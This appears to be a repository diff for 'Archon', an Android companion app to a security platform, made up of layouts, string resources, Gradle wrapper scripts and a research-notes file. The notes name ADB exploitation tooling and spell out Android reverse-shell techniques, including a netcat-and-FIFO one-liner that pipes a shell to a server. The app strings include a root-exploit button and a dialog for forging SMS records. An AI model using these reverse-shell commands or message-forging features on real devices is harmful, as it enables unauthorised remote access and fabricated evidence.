android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Connect phone to AUTARCH via USB cable"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<TextView
android:id="@+id/server_adb_status"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Server: not configured"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_bootstrap_usb"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="BOOTSTRAP VIA USB"
android:textColor="@color/background"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ ALT: Root Access ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ALT: Root Access"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:id="@+id/root_status"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="Status: checking..."
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_check_root"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="CHECK ROOT"
android:textColor="@color/background"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green_dim" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_root_exploit"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="ROOT VIA EXPLOIT"
android:textColor="@color/background"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/warning" />
</LinearLayout>
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- ═══ Output Log ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
app:cardBackgroundColor="@color/surface_dark"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="12dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Output Log:"
android:textColor="@color/terminal_green_dim"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<TextView
android:id="@+id/setup_output_log"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="> ready_"
android:textColor="@color/terminal_green"
android:textSize="11sp"
android:fontFamily="monospace"
android:lineSpacingExtra="2dp"
android:minLines="5" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
</ScrollView>

View File

@@ -0,0 +1,92 @@
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout
xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:padding="12dp"
android:background="?android:attr/selectableItemBackground">
<!-- Contact avatar (circle with initial) -->
<FrameLayout
android:layout_width="44dp"
android:layout_height="44dp"
android:layout_marginEnd="12dp">
<View
android:id="@+id/avatar_bg"
android:layout_width="44dp"
android:layout_height="44dp" />
<TextView
android:id="@+id/avatar_text"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:textColor="#FFFFFF"
android:textSize="18sp"
android:textStyle="bold"
android:fontFamily="monospace" />
</FrameLayout>
<!-- Name and snippet -->
<LinearLayout
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:orientation="vertical"
android:layout_marginEnd="12dp">
<TextView
android:id="@+id/contact_name"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:textColor="@color/text_primary"
android:textSize="15sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:singleLine="true"
android:ellipsize="end"
android:layout_marginBottom="2dp" />
<TextView
android:id="@+id/message_snippet"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:textColor="@color/text_secondary"
android:textSize="13sp"
android:fontFamily="monospace"
android:singleLine="true"
android:ellipsize="end" />
</LinearLayout>
<!-- Date and unread badge -->
<LinearLayout
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical"
android:gravity="end|center_vertical">
<TextView
android:id="@+id/conversation_date"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="@color/text_secondary"
android:textSize="11sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<TextView
android:id="@+id/unread_badge"
android:layout_width="22dp"
android:layout_height="22dp"
android:gravity="center"
android:textColor="#FFFFFF"
android:textSize="10sp"
android:textStyle="bold"
android:background="@color/danger"
android:visibility="gone" />
</LinearLayout>
</LinearLayout>

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:paddingTop="2dp"
android:paddingBottom="2dp"
android:paddingStart="4dp"
android:paddingEnd="64dp">
<!-- Received message bubble — left-aligned, dark gray -->
<LinearLayout
android:id="@+id/bubble_container"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical"
android:background="@color/surface"
android:paddingStart="12dp"
android:paddingEnd="12dp"
android:paddingTop="8dp"
android:paddingBottom="6dp"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent">
<!-- Message body -->
<TextView
android:id="@+id/bubble_body"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="@color/text_primary"
android:textSize="14sp"
android:fontFamily="monospace"
android:layout_marginBottom="2dp" />
<!-- Bottom row: time + RCS indicator -->
<LinearLayout
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_gravity="end">
<!-- RCS/MMS indicator -->
<TextView
android:id="@+id/rcs_indicator"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="@color/terminal_green"
android:textSize="9sp"
android:fontFamily="monospace"
android:textStyle="bold"
android:layout_marginEnd="6dp"
android:visibility="gone" />
<!-- Timestamp -->
<TextView
android:id="@+id/bubble_time"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="@color/text_muted"
android:textSize="10sp"
android:fontFamily="monospace" />
</LinearLayout>
</LinearLayout>
</androidx.constraintlayout.widget.ConstraintLayout>

View File

@@ -0,0 +1,78 @@
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:paddingTop="2dp"
android:paddingBottom="2dp"
android:paddingStart="64dp"
android:paddingEnd="4dp">
<!-- Sent message bubble — right-aligned, accent color -->
<LinearLayout
android:id="@+id/bubble_container"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="vertical"
android:background="@color/terminal_green_dim"
android:paddingStart="12dp"
android:paddingEnd="12dp"
android:paddingTop="8dp"
android:paddingBottom="6dp"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintTop_toTopOf="parent">
<!-- Message body -->
<TextView
android:id="@+id/bubble_body"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="@color/text_primary"
android:textSize="14sp"
android:fontFamily="monospace"
android:layout_marginBottom="2dp" />
<!-- Bottom row: time + status + RCS indicator -->
<LinearLayout
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_gravity="end">
<!-- RCS/MMS indicator -->
<TextView
android:id="@+id/rcs_indicator"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="@color/terminal_green"
android:textSize="9sp"
android:fontFamily="monospace"
android:textStyle="bold"
android:layout_marginEnd="6dp"
android:visibility="gone" />
<!-- Delivery status -->
<TextView
android:id="@+id/bubble_status"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="@color/text_muted"
android:textSize="10sp"
android:fontFamily="monospace"
android:layout_marginEnd="6dp"
android:visibility="gone" />
<!-- Timestamp -->
<TextView
android:id="@+id/bubble_time"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="@color/text_muted"
android:textSize="10sp"
android:fontFamily="monospace" />
</LinearLayout>
</LinearLayout>
</androidx.constraintlayout.widget.ConstraintLayout>

View File

@@ -0,0 +1,23 @@
<?xml version="1.0" encoding="utf-8"?>
<menu xmlns:android="http://schemas.android.com/apk/res/android">
<item
android:id="@+id/nav_dashboard"
android:icon="@android:drawable/ic_menu_compass"
android:title="@string/nav_dashboard" />
<item
android:id="@+id/nav_messaging"
android:icon="@android:drawable/ic_dialog_email"
android:title="@string/nav_messaging" />
<item
android:id="@+id/nav_modules"
android:icon="@android:drawable/ic_menu_manage"
android:title="@string/nav_modules" />
<item
android:id="@+id/nav_setup"
android:icon="@drawable/ic_setup"
android:title="@string/nav_setup" />
<item
android:id="@+id/nav_settings"
android:icon="@android:drawable/ic_menu_preferences"
android:title="@string/nav_settings" />
</menu>

View File

@@ -0,0 +1,38 @@
<?xml version="1.0" encoding="utf-8"?>
<navigation
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:id="@+id/nav_graph"
app:startDestination="@id/nav_dashboard">
<fragment
android:id="@+id/nav_dashboard"
android:name="com.darkhal.archon.ui.DashboardFragment"
android:label="@string/nav_dashboard" />
<fragment
android:id="@+id/nav_messaging"
android:name="com.darkhal.archon.ui.MessagingFragment"
android:label="@string/nav_messaging" />
<fragment
android:id="@+id/nav_links"
android:name="com.darkhal.archon.ui.LinksFragment"
android:label="@string/nav_links" />
<fragment
android:id="@+id/nav_modules"
android:name="com.darkhal.archon.ui.ModulesFragment"
android:label="@string/nav_modules" />
<fragment
android:id="@+id/nav_setup"
android:name="com.darkhal.archon.ui.SetupFragment"
android:label="@string/nav_setup" />
<fragment
android:id="@+id/nav_settings"
android:name="com.darkhal.archon.ui.SettingsFragment"
android:label="@string/nav_settings" />
</navigation>

View File

@@ -0,0 +1,18 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="terminal_green">#FF00FF41</color>
<color name="terminal_green_dim">#FF006B1A</color>
<color name="background">#FF0D0D0D</color>
<color name="surface">#FF1A1A1A</color>
<color name="surface_dark">#FF111111</color>
<color name="text_primary">#FFE0E0E0</color>
<color name="text_secondary">#FF888888</color>
<color name="text_muted">#FF555555</color>
<color name="primary">#FF00FF41</color>
<color name="status_online">#FF00FF41</color>
<color name="status_offline">#FF666666</color>
<color name="danger">#FFFF4444</color>
<color name="warning">#FFFFAA00</color>
<color name="black">#FF000000</color>
<color name="nav_item_color">#FF00FF41</color>
</resources>

View File

@@ -0,0 +1,90 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="app_name">Archon</string>
<!-- Navigation -->
<string name="nav_dashboard">Dashboard</string>
<string name="nav_links">Links</string>
<string name="nav_modules">Modules</string>
<string name="nav_setup">Setup</string>
<string name="nav_settings">Settings</string>
<!-- Discovery -->
<string name="server_discovery">Server Discovery</string>
<string name="discovery_idle">Tap SCAN to find AUTARCH</string>
<string name="discovery_methods">LAN / Wi-Fi Direct / Bluetooth</string>
<string name="scan_network">SCAN</string>
<!-- Dashboard -->
<string name="dashboard_title">ARCHON</string>
<string name="adb_control">ADB Control</string>
<string name="adb_status_unknown">ADB: checking...</string>
<string name="enable_adb_tcp">Enable ADB TCP/IP</string>
<string name="usbip_export">USB/IP Export</string>
<string name="usbip_status_unknown">USB/IP: checking...</string>
<string name="enable_usbip_export">Enable USB/IP Export</string>
<string name="adb_server">ADB Server</string>
<string name="kill_adb">KILL</string>
<string name="restart_adb">RESTART</string>
<string name="auto_restart_adb">Auto-restart ADB</string>
<string name="wireguard_status">WireGuard</string>
<string name="wg_checking">WG: checking...</string>
<string name="wg_server_ip_label">Server: --</string>
<string name="ready">&gt; ready_</string>
<!-- Links -->
<string name="links_title">AUTARCH</string>
<string name="server_url_placeholder">Server: --</string>
<string name="link_dashboard">Dashboard</string>
<string name="link_wireguard">WireGuard</string>
<string name="link_shield">Shield</string>
<string name="link_hardware">Hardware</string>
<string name="link_wireshark">Wireshark</string>
<string name="link_osint">OSINT</string>
<string name="link_defense">Defense</string>
<string name="link_offense">Offense</string>
<string name="link_settings">Settings</string>
<!-- Messaging -->
<string name="nav_messaging">Messages</string>
<string name="messaging_title">SMS/RCS</string>
<string name="messaging_become_default">DEFAULT</string>
<string name="messaging_restore_default">RESTORE</string>
<string name="messaging_tools">TOOLS</string>
<string name="messaging_search_hint">Search messages...</string>
<string name="messaging_input_hint">Type a message...</string>
<string name="messaging_send">SEND</string>
<string name="messaging_export">EXPORT</string>
<string name="messaging_new_message">New message</string>
<string name="messaging_empty">No conversations found.\nCheck SMS permissions or tap + to forge a message.</string>
<!-- Forge Dialog -->
<string name="forge_dialog_title">FORGE MESSAGE</string>
<string name="forge_phone_label">Phone Number</string>
<string name="forge_phone_hint">+15551234567</string>
<string name="forge_name_label">Contact Name (optional)</string>
<string name="forge_name_hint">John Doe</string>
<string name="forge_body_label">Message Body</string>
<string name="forge_body_hint">Enter message text...</string>
<string name="forge_direction_label">Direction</string>
<string name="forge_received">RECEIVED</string>
<string name="forge_sent">SENT</string>
<string name="forge_date_label">Date / Time</string>
<string name="forge_pick_date">Date</string>
<string name="forge_pick_time">Time</string>
<string name="forge_mark_read">Mark as read</string>
<!-- Settings -->
<string name="settings_title">SETTINGS</string>
<string name="server_connection">Server Connection</string>
<string name="hint_server_ip">AUTARCH Server IP</string>
<string name="hint_web_port">Web UI Port (default: 8181)</string>
<string name="adb_configuration">ADB Configuration</string>
<string name="hint_adb_port">ADB TCP Port</string>
<string name="hint_usbip_port">USB/IP Port</string>
<string name="bbs_configuration">BBS Configuration</string>
<string name="hint_bbs_address">Veilid BBS Address</string>
<string name="auto_detect">AUTO-DETECT SERVER</string>
<string name="test_connection">TEST</string>
<string name="save_settings">SAVE</string>
</resources>

View File

@@ -0,0 +1,16 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<style name="Theme.Archon" parent="Theme.Material3.Dark.NoActionBar">
<item name="colorPrimary">@color/terminal_green</item>
<item name="colorPrimaryVariant">@color/terminal_green_dim</item>
<item name="colorOnPrimary">@color/background</item>
<item name="colorSecondary">@color/terminal_green_dim</item>
<item name="colorOnSecondary">@color/text_primary</item>
<item name="android:colorBackground">@color/background</item>
<item name="colorSurface">@color/surface</item>
<item name="colorOnSurface">@color/text_primary</item>
<item name="android:statusBarColor">@color/background</item>
<item name="android:navigationBarColor">@color/surface</item>
<item name="android:windowBackground">@color/background</item>
</style>
</resources>

View File

@@ -0,0 +1,3 @@
plugins {
id("com.android.application") version "9.0.1" apply false
}

View File

@@ -0,0 +1,4 @@
org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
android.useAndroidX=true
kotlin.code.style=official
android.nonTransitiveRClass=true

Binary file not shown.

View File

@@ -0,0 +1,7 @@
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-9.3.1-bin.zip
networkTimeout=10000
validateDistributionUrl=true
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists

248
autarch_companion/gradlew vendored Normal file
View File

@@ -0,0 +1,248 @@
#!/bin/sh
#
# Copyright © 2015 the original authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# SPDX-License-Identifier: Apache-2.0
#
##############################################################################
#
# Gradle start up script for POSIX generated by Gradle.
#
# Important for running:
#
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
# noncompliant, but you have some other compliant shell such as ksh or
# bash, then to run this script, type that shell name before the whole
# command line, like:
#
# ksh Gradle
#
# Busybox and similar reduced shells will NOT work, because this script
# requires all of these POSIX shell features:
# * functions;
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
# * compound commands having a testable exit status, especially «case»;
# * various built-in commands including «command», «set», and «ulimit».
#
# Important for patching:
#
# (2) This script targets any POSIX shell, so it avoids extensions provided
# by Bash, Ksh, etc; in particular arrays are avoided.
#
# The "traditional" practice of packing multiple parameters into a
# space-separated string is a well documented source of bugs and security
# problems, so this is (mostly) avoided, by progressively accumulating
# options in "$@", and eventually passing that to Java.
#
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
# see the in-line comments for details.
#
# There are tweaks for specific operating systems such as AIX, CygWin,
# Darwin, MinGW, and NonStop.
#
# (3) This script is generated from the Groovy template
# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
# within the Gradle project.
#
# You can find Gradle at https://github.com/gradle/gradle/.
#
##############################################################################
# Attempt to set APP_HOME
# Resolve links: $0 may be a link
app_path=$0
# Need this for daisy-chained symlinks.
while
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
[ -h "$app_path" ]
do
ls=$( ls -ld "$app_path" )
link=${ls#*' -> '}
case $link in #(
/*) app_path=$link ;; #(
*) app_path=$APP_HOME$link ;;
esac
done
# This is normally unused
# shellcheck disable=SC2034
APP_BASE_NAME=${0##*/}
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit
# Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD=maximum
warn () {
echo "$*"
} >&2
die () {
echo
echo "$*"
echo
exit 1
} >&2
# OS specific support (must be 'true' or 'false').
cygwin=false
msys=false
darwin=false
nonstop=false
case "$( uname )" in #(
CYGWIN* ) cygwin=true ;; #(
Darwin* ) darwin=true ;; #(
MSYS* | MINGW* ) msys=true ;; #(
NONSTOP* ) nonstop=true ;;
esac
# Determine the Java command to use to start the JVM.
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD=$JAVA_HOME/jre/sh/java
else
JAVACMD=$JAVA_HOME/bin/java
fi
if [ ! -x "$JAVACMD" ] ; then
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
else
JAVACMD=java
if ! command -v java >/dev/null 2>&1
then
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
fi
# Increase the maximum file descriptors if we can.
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
case $MAX_FD in #(
max*)
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
MAX_FD=$( ulimit -H -n ) ||
warn "Could not query maximum file descriptor limit"
esac
case $MAX_FD in #(
'' | soft) :;; #(
*)
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
# shellcheck disable=SC2039,SC3045
ulimit -n "$MAX_FD" ||
warn "Could not set maximum file descriptor limit to $MAX_FD"
esac
fi
# Collect all arguments for the java command, stacking in reverse order:
# * args from the command line
# * the main class name
# * -classpath
# * -D...appname settings
# * --module-path (only if needed)
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
# For Cygwin or MSYS, switch paths to Windows format before running java
if "$cygwin" || "$msys" ; then
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
JAVACMD=$( cygpath --unix "$JAVACMD" )
# Now convert the arguments - kludge to limit ourselves to /bin/sh
for arg do
if
case $arg in #(
-*) false ;; # don't mess with options #(
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
[ -e "$t" ] ;; #(
*) false ;;
esac
then
arg=$( cygpath --path --ignore --mixed "$arg" )
fi
# Roll the args list around exactly as many times as the number of
# args, so each arg winds up back in the position where it started, but
# possibly modified.
#
# NB: a `for` loop captures its iteration list before it begins, so
# changing the positional parameters here affects neither the number of
# iterations, nor the values presented in `arg`.
shift # remove old arg
set -- "$@" "$arg" # push replacement arg
done
fi
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
# Collect all arguments for the java command:
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
# and any embedded shellness will be escaped.
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
# treated as '${Hostname}' itself on the command line.
set -- \
"-Dorg.gradle.appname=$APP_BASE_NAME" \
-jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \
"$@"
# Stop when "xargs" is not available.
if ! command -v xargs >/dev/null 2>&1
then
die "xargs is not available"
fi
# Use "xargs" to parse quoted args.
#
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
#
# In Bash we could simply go:
#
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
# set -- "${ARGS[@]}" "$@"
#
# but POSIX shell has neither arrays nor command substitution, so instead we
# post-process each arg (as a line of input to sed) to backslash-escape any
# character that might be a shell metacharacter, then use eval to reverse
# that process (while maintaining the separation between arguments), and wrap
# the whole thing up as a single "set" statement.
#
# This will of course break if any of these variables contains a newline or
# an unmatched quote.
#
eval "set -- $(
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
xargs -n1 |
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
tr '\n' ' '
)" '"$@"'
exec "$JAVACMD" "$@"

93
autarch_companion/gradlew.bat vendored Normal file
View File

@@ -0,0 +1,93 @@
@rem
@rem Copyright 2015 the original author or authors.
@rem
@rem Licensed under the Apache License, Version 2.0 (the "License");
@rem you may not use this file except in compliance with the License.
@rem You may obtain a copy of the License at
@rem
@rem https://www.apache.org/licenses/LICENSE-2.0
@rem
@rem Unless required by applicable law or agreed to in writing, software
@rem distributed under the License is distributed on an "AS IS" BASIS,
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@rem See the License for the specific language governing permissions and
@rem limitations under the License.
@rem
@rem SPDX-License-Identifier: Apache-2.0
@rem
@if "%DEBUG%"=="" @echo off
@rem ##########################################################################
@rem
@rem Gradle startup script for Windows
@rem
@rem ##########################################################################
@rem Set local scope for the variables with windows NT shell
if "%OS%"=="Windows_NT" setlocal
set DIRNAME=%~dp0
if "%DIRNAME%"=="" set DIRNAME=.
@rem This is normally unused
set APP_BASE_NAME=%~n0
set APP_HOME=%DIRNAME%
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
@rem Find java.exe
if defined JAVA_HOME goto findJavaFromJavaHome
set JAVA_EXE=java.exe
%JAVA_EXE% -version >NUL 2>&1
if %ERRORLEVEL% equ 0 goto execute
echo. 1>&2
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2
goto fail
:findJavaFromJavaHome
set JAVA_HOME=%JAVA_HOME:"=%
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
if exist "%JAVA_EXE%" goto execute
echo. 1>&2
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
echo. 1>&2
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
echo location of your Java installation. 1>&2
goto fail
:execute
@rem Setup the command line
@rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %*
:end
@rem End local scope for the variables with windows NT shell
if %ERRORLEVEL% equ 0 goto mainEnd
:fail
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
rem the _cmd.exe /c_ return code!
set EXIT_CODE=%ERRORLEVEL%
if %EXIT_CODE% equ 0 set EXIT_CODE=1
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
exit /b %EXIT_CODE%
:mainEnd
if "%OS%"=="Windows_NT" endlocal
:omega

View File

@@ -0,0 +1,293 @@
# Archon Research — Consolidated Findings
## darkHal Security Group — Project AUTARCH
**Last Updated:** 2026-02-20
---
## 1. On-Device LLM Engines
### SmolChat-Android (Recommended)
- **Source:** https://github.com/shubham0204/SmolChat-Android
- **License:** Apache 2.0
- **Stack:** Kotlin + llama.cpp JNI bindings
- **Key feature:** `smollm` module is an embeddable Android library — 2-class Kotlin API
- **Model format:** GGUF (huge ecosystem on HuggingFace)
- **Performance:** Auto-detects CPU SIMD, has ARMv8.4 SVE optimized builds
- **Integration:** Streaming via Kotlin Flow, context tracking, chat templates from GGUF metadata
- **What it doesn't have:** No tool-calling — we add that via Koog (below)
- **Recommended models:** Qwen3-0.6B-Q4_K_M (tiny, fast) or SmolLM3-3B-Q4 (better quality)
- **Status:** Best choice for inference engine. Embed `smollm` module into Archon.
### mllm
- **Source:** https://github.com/UbiquitousLearning/mllm
- **License:** MIT
- **Stack:** C++20 custom engine
- **Key feature:** Multimodal (vision + text — Qwen2-VL, DeepSeek-OCR), Qualcomm QNN NPU acceleration
- **Model format:** Custom `.mllm` (must convert from HuggingFace, NOT GGUF)
- **Drawback:** Much harder to integrate, custom format limits model selection
- **Status:** Consider for future multimodal features (OCR scanning, photo analysis). Not for initial integration.
---
## 2. AI Agent Frameworks
### Koog AI (Recommended for Archon)
- **Source:** https://docs.koog.ai/
- **License:** Apache 2.0 (JetBrains)
- **Stack:** Pure Kotlin, Kotlin Multiplatform — officially supports Android
- **Key features:**
- 9 LLM providers including Ollama (local) and cloud (OpenAI, Anthropic)
- First-class tool-calling with class-based tools (works on Android)
- Agent memory, persistence, checkpoints, history compression
- Structured output via kotlinx.serialization
- GOAP planner (A* search for action planning — game AI technique)
- MCP integration (discover/use external tools)
- Multi-agent: agents-as-tools, agent-to-agent protocol
- **Version:** 0.6.2
- **Integration:** `implementation("ai.koog:koog-agents:0.6.2")` — single Gradle dependency
- **Why it's the answer:** Native Kotlin, class-based tools on Android, GOAP planner maps perfectly to security workflows (Goal: "Protect device" → Actions: scan → identify → restrict → revoke)
- **Status:** Best choice for agent layer. Combine with SmolChat for fully offline operation.
### SmolChat + Koog Combo
- SmolChat provides the on-device inference engine (GGUF/llama.cpp)
- Koog provides the agent framework (tools, planning, memory, structured output)
- Together: fully autonomous, fully offline security AI agent on the phone
- Implementation: define security tools as Koog class-based tools, wrap PrivilegeManager.execute() as execution backend
### GitHub Copilot SDK
- **Source:** https://github.com/github/copilot-sdk
- **License:** MIT (SDK), proprietary (CLI binary ~61MB)
- **Stack:** Python/TypeScript/Go/.NET SDKs
- **Key features:** BYOK mode (Ollama local), MCP integration, linux-arm64 binary exists
- **Drawback:** CLI binary is closed-source proprietary. We already have our own LLM backends + MCP server. Adds another orchestration layer on top of what we built.
- **Status:** Not needed. Our own agent system (core/agent.py + core/tools.py) is better tailored.
---
## 3. ADB Exploitation & Automation
### PhoneSploit-Pro
- **Source:** https://github.com/AzeezIsh/PhoneSploit-Pro
- **License:** GPL-3.0
- **What:** Python ADB automation framework (40+ exploits/actions)
- **Capabilities:** Screen capture, app management, file transfer, keylogging, device info dumping, network analysis, shell access, APK extraction, location spoofing
- **Relevance:** Reference for ADB command patterns. Many of its techniques are already in our ShieldModule and HoneypotModule.
- **Status:** Reference material. We implement our own versions with better safety controls.
---
## 4. Android Reverse Shell Techniques
### Technique 1: Java ProcessBuilder + Socket (Our Approach)
```java
// Connect back to server, pipe shell I/O over socket
Socket socket = new Socket(serverIp, serverPort);
ProcessBuilder pb = new ProcessBuilder("sh");
Process process = pb.start();
// Forward process stdin/stdout over socket
```
- **Privilege:** Runs at whatever UID the process has
- **Our twist:** Run via `app_process` at UID 2000 (shell level)
- **Advantage:** No external tools needed, pure Java, clean control flow
### Technique 2: Netcat + FIFO
```bash
mkfifo /data/local/tmp/f
cat /data/local/tmp/f | sh -i 2>&1 | nc $SERVER_IP $PORT > /data/local/tmp/f
```
- **Requires:** `nc` (netcat) available on device
